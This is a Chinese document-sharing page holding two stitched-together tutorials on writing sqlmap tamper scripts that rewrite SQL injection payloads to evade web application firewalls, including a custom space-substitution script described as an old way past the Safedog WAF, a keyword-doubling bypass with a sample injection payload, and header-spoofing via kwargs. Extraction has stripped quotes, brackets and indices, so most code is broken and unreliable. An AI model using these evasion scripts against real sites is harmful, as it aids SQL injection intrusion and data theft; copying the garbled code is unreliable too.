




已阅读5页,还剩4页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
SQLmap中tamper的套用与编写导语:tamper脚本不全,没有想要的功能,那就套用别人的思路改一个吧,不行,那就自己编一个 为了说明tamper的结构,让我们从一个最简单的例子开始为了说明tamper的结构,让我们从一个最简单的例子开始# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY_priority_ = PRIORITY.LOWESTdef dependencies(): passdef tamper(payload, *kwargs): return payload.replace(, ).replace(, ) 不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。priority定义脚本的优先级,用于有多个tamper脚本的情况。dependencies函数声明该脚本适用/不适用的范围,可以为空。tamper是主要的函数,接受的参数为payload和*kwargs返回值为替换后的payload。比如这个例子中就把引号替换为了。我们在选一个脚本,该脚本为base64encode.py,查看脚本中的tamper内容:可以看到内容非常简单,将payload的内容内容做了base64编码然后直接返回。Tamper有两个参数第一个参数payload即为传入的实际要操作的payload,第二个参数*kwargs为相关httpheader。譬如你想插入或则修改header的时候可以用到。逻辑流程弄清楚之后,很容易编写自己的tamper脚本了。以使用%a0替换空格的脚本为例,在tamper目录下创建space2ao.py脚本,稍微修改下脚本: 在tamper里面再找一个插件,我们来分析分析他的构成。#!/usr/bin/env pythonCopyright (c) 2006-2016 sqlmap developers (/)See the file doc/COPYING for copying permissionfrom lib.core.enums import PRIORITY_priority_ = PRIORITY.LOWdef dependencies(): passdef tamper(payload, *kwargs): Replaces space character ( ) with plus (+) Notes: * Is this any useful? The plus gets url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases tamper(SELECT id FROM users) SELECT+id+FROM+users retVal = payload if payload: retVal = quote, doublequote, firstspace = False, False, False for i in xrange(len(payload): if not firstspace: if payloadi.isspace(): firstspace = True retVal += + continue elif payloadi = : quote = not quote elif payloadi = : doublequote = not doublequote elif payloadi = and not doublequote and not quote: retVal += + continue retVal += payloadi return retValReplaces space character ( ) with plus (+)写的是他的注释说的是替换空格为+绕过空格过滤规则。下面我们看他的编写部分。 for i in xrange(len(payload): if not firstspace: if payloadi.isspace(): firstspace = True retVal += + continue elif payloadi = : quote = not quote elif payloadi = : doublequote = not doublequote elif payloadi = and not doublequote and not quote: retVal += + continue retVal += payloadi这里上述代码第一行xrange(len(payload)会返回一个迭代序列,可以用来实现循环。if payload.isspace(): 判断是否有空格,如果有那就继续执行下面的语句。然后继续使用elif语句进行判断。Payload值如果存在空格,并且不是双引号,也不是单引号,继续执行下面的语句进行替换。其实我们编写别的插件需要构造别的插件需要替换的是这串代码。retVal += +我们大致了解了插件的编写这里我们来编写我们的过狗插件。#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY_priority_ = PRIORITY.LOWdef dependencies(): passdef tamper(payload, *kwargs): Replaces space character ( ) with plus (/*|%20-%20|*/) tamper(SELECT id FROM users) SELECT/*|%20-%20|*/id/*|%20-%20|*/FROM/*|%20-%20|*/users By sebao retVal = payload if payload: retVal = quote, doublequote, firstspace = False, False, False for i in xrange(len(payload): if not firstspace: if payloadi.isspace(): firstspace = True retVal += /*|%20-%20|*/ continue elif payloadi = : quote = not quote elif payloadi = : doublequote = not doublequote elif payloadi = and not doublequote and not quote: retVal += /*|%20-%20|*/ continue retVal += payloadireturn retVal大家可以看到这串注释 Replaces space character ( ) with plus (/*|%20-%20|*/)换空格为(/*|%20-%20|*/)绕过过滤规则。【这是以前的过狗办法】到这里就差不多了。sqlmap-tamper编写指南字数807阅读20评论0喜欢0注:最近遇到了一些奇怪的waf,想自己写一些tamper但是发现没有参考材料可以使用,因此在写了这篇文章,一方便进行自定义的tamper编写。笔者笔力有限,如有错误,敬请读者们指正。0x00 sqlmap tamper简介sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。0x01 一个最小的例子0x02 详细介绍第一部分完成了一个最简单的tamper架构,下面我们进行一个更详细的介绍tamper函数tamper是整个脚本的主体。主要用于修改原本的payload。举个简单的例子,如果服务器上有这么几行代码$id = trim($POST($id),union);$sql=SELECT * FROM users WHERE id=$id;而我们的payload为-8363 union select null - -这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamperdef tamper(payload, *kwargs): return payload.replace(union,uniounionn)保存为test.py,存到sqlmap/tamper/下,执行的时候带上-tamper=test的参数,就可以绕过该过滤规则dependencies函数dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:# sqlmap/tamper/echarunicodeencode.pyfrom mon import singleTimeWarnMessagedef dependencies(): singleTimeWarnMessage(tamper script %s is only meant to be run against ASP or ASP.NET web applications % os.path.basename(_file_).split(.)0)# singleTimeWarnMessage() 于在控制台中打印出警告信息kwargs在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明# sqlmap/tamper/vanrish.pydef tamper(payload, *kwargs): headers = kwargs.get(headers, ) headersX-originating-IP = return payload这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf0x3 结语tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。0x04 一些常用的取值# sqlmap/lib/enums.pyclass PRIORITY: LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HI
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- DB62T 4001-2019 半干旱区苦荞麦全膜覆土穴播栽培技术规程
- 2022重庆市八年级生物地理结业考试试卷
- 汽车维修店铺转让合同范文
- 二年级语文批判性思维训练计划
- 书法教育的多元评价教案范文
- 石油钻井吊装安全防护措施
- 汽车电子技术研究工作计划
- 幼儿园安全管理职责与分工
- 雨水排放管道维护与修复流程
- 2025年万科房地产公司土地开发流程
- 《攀岩基础常识》课件
- (新版)妊娠期恶心呕吐及妊娠剧吐管理指南解读
- 《金属非金属露天矿山及尾矿库重大事故隐患判定标准解读》知识培训
- 《城市道路清扫保洁与质量评价标准》
- 数字人力资源管理 课件 02第二章 数字化时代人力资源管理思维
- 天津市河西区下学期2025届高考数学押题试卷含解析
- 《介绍湖北的》课件
- 园林绿化工程《安全文明施工方案》
- 《现代汉语》课件-句型与句式
- 供应商品质改善及计划
- 齐鲁文化(齐鲁师范学院)知到智慧树章节答案
评论
0/150
提交评论